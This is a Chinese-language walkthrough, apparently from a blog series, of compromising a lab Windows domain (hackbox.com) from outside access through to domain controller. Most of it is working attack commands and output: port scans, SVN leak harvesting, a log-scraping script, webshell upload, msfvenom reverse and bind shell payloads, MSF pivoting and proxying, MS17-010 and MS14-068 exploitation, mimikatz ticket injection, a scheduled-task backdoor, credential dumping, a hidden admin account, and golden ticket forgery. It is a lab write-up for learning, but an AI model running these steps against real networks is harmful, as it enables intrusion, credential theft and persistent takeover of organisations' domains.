暗月内网靶场
在这个项目中可以学到
- 如何搭建一个隧道
- 如何利用低版本的域环境
- 如何进行权限维持(影子账户,黄金票据)
🔥系列专栏:暗月内网靶场
🎉欢迎关注🔎点赞👍收藏⭐️留言📝
📆首发时间:🌴2023年3月12日🌴
🍭作者水平很有限,如果发现错误,还望告知,感谢!
巅峰之路
前言
本文章仅用作实验学习,仅使用kali虚拟机作为操作学习工具。本文仅用作学习记录,不做任何导向。请勿在现实环境中模仿,操作。
环境搭建
- 新开一个vmnet19的虚拟网卡,10.10.10.0/24
- 检查各个靶机的ip能否互相ping通,在该靶场中没有禁Ping的情况
外网打点
这里选用masscan,因为他非常快速
当然也可以使用nmap,但是全端口扫描实在是太久了
masscan -p 1-65535 192.168.74.133 --rate=1000
开启的有139,135,445,3389,80
其他的基本上没啥用,如果你用NMAP去扫,那么就可以看出来
80端口
www.xp.cn看看是个啥
我第一直觉是phpstudy
ok,实锤
接下来用nmap就已经开放的端口进行一个服务扫描
nmap -p 3306,445,3389,80,47001,49152,49156,49153,135,49157 -sS -sC -A 192.168.74.133 -oA web150-p
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.39 ((Win64)
135/tcp open msrpc Microsoft Windows RPC
445/tcp open microsoft-ds Microsoft Windows Server 2008 R2 - 2012 microsoft-ds
3306/tcp open mysql MySQL (unauthorized)
3389/tcp open ms-wbt-server?
| rdp-ntlm-info:
| Target_Name: HACKBOX
| NetBIOS_Domain_Name: HACKBOX
| NetBIOS_Computer_Name: WEB
| DNS_Domain_Name: hackbox.com
| DNS_Computer_Name: web.hackbox.com
| DNS_Tree_Name: hackbox.com
| Product_Version: 6.1.7601
|_ System_Time: 2023-03-08T11:49:11+00:00
| ssl-cert: Subject: commonName=web.hackbox.com
| Not valid before: 2023-03-07T05:49:33
|_Not valid after: 2023-09-06T05:49:33
|_ssl-date: 2023-03-08T11:50:20+00:00; -2s from scanner time.
47001/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
49152/tcp open msrpc Microsoft Windows RPC
49153/tcp open msrpc Microsoft Windows RPC
49156/tcp closed unknown
49157/tcp closed unknown
MAC Address: 00:0C:29:44:38:FD (VMware)
Device type: general purpose
Running: Microsoft Windows 7|2008|8.1
OS CPE: cpe:/o:microsoft:windows_7::- cpe:/o:microsoft:windows_7::sp1 cpe:/o:microsoft:windows_server_2008::sp1 cpe:/o:microsoft:windows_server_2008:r2 cpe:/o:microsoft:windows_8 cpe:/o:microsoft:windows_8.1
OS details: Microsoft Windows 7 SP0 - SP1, Windows Server 2008 SP1, Windows Server 2008 R2, Windows 8, or Windows 8.1 Update 1
Network Distance: 1 hop
Service Info: OSs: Windows, Windows Server 2008 R2 - 2012; CPE: cpe:/o:microsoft:windows
可以看到暴露出了域名,当然这没啥用,我们所要添加的是已经提前获知的域名
之所以要添加域名才能访问,是因为有的根本就没申请IP与域名的绑定
这种情况在非法站点尤为明显
绑定hosts信息
gedit /etc/hosts
可以用dism++很方便,并且也安全一点,其他的功能也挺好用
而后就可以访问到了
指纹检查
whatweb www.webhack123.com
目录爆破
dirsearch -u "www.webhack123.com" -e *
gobuster dir -u http://www.webhack123.com -w /usr/share/wordlists/dirb/big.txt -t 50
均发现了svn的泄露
在svn泄露中,我们要知道几个常识,就是他一般会有一个wc.db,并且对于svn泄露,可以利用一些封装好的工具进行检测
svn泄露
首先访问,看看有没有东西
按照惯例我会使用windows来进行,但是不知道为啥下载不下来
所以用kali
看看有没有db文件
wget http://webhack123.com/.svn/wc.db
sqlitebrowser wc.db
发现是有的
在这个其中发现了很多带有时间戳的日志,其中包含密码。所以写一个脚本去爆破出最新的日志包含密码
#condition:utf-8
import requests;
url="http://www.webhack123.com/App/Runtime/Logs/20"
def addurls(url):
urls=[]
for i in range (1,13):
for j in range (1,32):
if i < 10:
if j < 10:
urls.append(url+"_0%s_0%s.log" %(i,j))
else:
urls.append(url+"_0%s_%s.log" %(i,j))
else:
if j < 10:
urls.append(url+"_%s_0%s.log" %(i,j))
else:
urls.append(url+"_%s_%s.log" %(i,j))
return urls
#print(addurls(url))
urls = addurls(url)
for i in urls:
r = requests.get(i)
if r.status_code == 200:
print(i)
with open ("web.txt",'a',encoding = "utf-8") as f:
f.write(r.text)
找到了最新的之后把其中的日志拿下来去找到hash而后去爆破
我们又在教程txt文件中发现了后台的地址
绑定到host即可
而后去访问
发现了后台的地址
我们尝试使用刚才获得的凭证登录
这个地方也可以爆破密码
一位内验证码可以绕过
我们抓包发现,当你输入一次验证码抓包,密码正确或者不正确所返回的包中,包含一个url编码,解码之后内容不变,但是密码正确与否与所返回的包长度相关
发现可以修改允许上传的文件类型
那我们就增加一个php文件去上传
右键打开图片,url栏中出现地址
而后冰蝎或者其他的什么去连接
而后上传一个exe后门,因为php后门不好用
所以用msf去做
msfvenom -p windows/x64/meterpreter_reverse_tcp LHOST=192.168.1.130 LPORT=9999 -f exe > shell.exe
msfconcle
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set lhost 0.0.0.0
set lport 9999
run
对域查询
load kiwi
加载上准备好
每一个主机都要做这一步
查询arp表
查询arp表可以看到dns主机,有可能可以发现域控,大概率发现更多主机
arp表看到还有一个10主机
所以这可能是我们的下个目标,也有可能是DC
所以我们进入shell,查看进一步信息
输入shell
终端乱码
chcp 65001
ipconfig /all
看到域名是hackbox.com
查看登陆过的用户
run post/windows/gather/enum_logged_on_users
获得一个sid(很有用)
S-1-5-21-2005268815-658469957-1189185684-1103
并且在下面会看到10段的dns是10.10.10.149
一般来说域控同时也是dns
net view可以看到域内有一个dc用户
查看域
net view /domain
查看域内主机
net view /domain:hackbox 这里可以看到显示的用户与我们的net view用户一致
查看域内工作组信息
net group /domain
已经可以确定dc就是10.10.10.149
那么接下来我们就通过msf来做一个路由
也可以选择别的方法,因为msf的路由有时候1不稳定
比较主流的有两个工具
一个毒刺,一个NEO,可以自己探索一下
这里先用MSF做路由
MSF路由
查看全局路由器
run get_local_subnets
添加10段的路由信息
run autoroute -s 10.10.10.0/24
查看添加的路由表信息
run autoroute -p
background
use auxiliary/server/socks_proxy
show options
设置代理
set SRVPORT 6666
run
gedit /etc/proxychains4.conf
对内网探查
proxychains4 sudo masscan -p 1-65535 10.10.10.149 --rate=1000
proxychains4 sudo nmap -sS -sC -A 10.10.10.149 -p 445,25,49162,3269,49155,47001,139,49153,49158,464,5722,9389,110,53,88,46154,135,636,3268,389,49157,593,49152,49174,49165 -oA 10.149-p
MS17_010永恒之蓝尝试
use exploit/windows/smb/ms17_010_eternalblue
set payload windows/x64/meterpreter/reverse_tcp
或者
set payload generic/shell_bind_tcp
MS14-068 CVE-2014-6324
流程
域普通用户–>创建票据–>注入票据–>访问dc的权限–>域控超级管理员权限
永恒之蓝尝试失败
尝试ms14068
他是在2008很有用
可以在拥有一个普通用户的情况下访问到DC
S-1-5-21-2005268815-658469957-1189185684-1103 //刚才获取的SID
ms14-068.exe -u web@hackbox.com -s S-1-5-21-2005268815-658469957-1189185684-1103 -d 10.10.10.149 -p !@#Qwe456
可以看到在当前目录已经生成了票据
但是因为MSF中MIMIKATZ模块没有导入靶机票据的功能,所以我们上传三个mimikatz的文件以及配置文件
kerberos::list #查看本机票据
kerberos::purge #删除本机所有票据
kerberos::ptc TGT_web@hackbox.com.ccache #导入TGT_web@hackbox.com.ccache
我们已经可以正常的访问到DC,现在只需要借助AT来计划任务一个正向的后门,然后我们去找他,因为10.10.10.0网段不出网,而我们的 MSF做了路由,所以由我们来访问才可以,他是找不到我们的、
生成木马并制作计划任务
msfvenom -p windows/meterpreter/bind_tcp lport=7789 -f exe > dc.exe
copy dc.exe \\dc\c$
net time \\dc
at \\dc 23:00:00 c:/dc.exe
use exploit/multi/handler
set payload windows/meterpreter/bind_tcp
set lport 7789
set rhost 10.10.10.149
run
再次进行hashdump,查看已经登陆用户等等
获取hash以及sid,下一步可以进行黄金票据的利用
查看已登录用户
run post/windows/gather/enum_logged_on_users
获取HASH
run post/windows/gather/smart_hashdump
也可以
load mimikatz
creds_all
开启远程3389并添加组
run post/windows/manage/enable_rdp
net user admin$ !@#123shell /add
net localgroup administrators admini$ /add
proxychains4 rdesktop 10.10.10.149
黄金票据
要求
1.域名称
2.域的SID值
3.域的KRBTGT账户NTLM密码哈希
4.伪造用户名
步骤
清除之前的白银票据–>导出krbtgt的Hash–>生成Golden Ticket–>导入伪造
清除白银票据
load mimikatz
kerberos_ticket_purge
导出krbtgt的Hash、SID值
获取krbtgt的Hash(刚才hashdump已经得到了)
run post/windows/gather/smart_hashdump
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:6f60ace6accbcb76078ccc0312174e98
获取krbtgt的SID值
方法一
shell
wmic useraccount where name="krbtgt" get sid
S-1-5-21-2005268815-658469957-1189185684-502
方法二
dcsync_ntlm krbtgt
ps
steal_token ID 窃取一个普通管理员的即可
getuid
dcsync_ntlm krbtgt
制作票据
golden_ticket_create -d hackbox.com -u rongsec -s S-1-5-21-2005268815-658469957-1189185684 -k 6f60ace6accbcb76078ccc0312174e98 -t /tmp/gold.ticket
先清除一下普通用户上的票据并检查
meterpreter > kerberos_ticket_purge
[+] Kerberos tickets purged
meterpreter > kerberos_ticket_list
导入
load kiwi
kerberos_ticket_use /tmp/gold.ticket
此时这台普通的机器就可以对DC做很多事情了
新建账户等等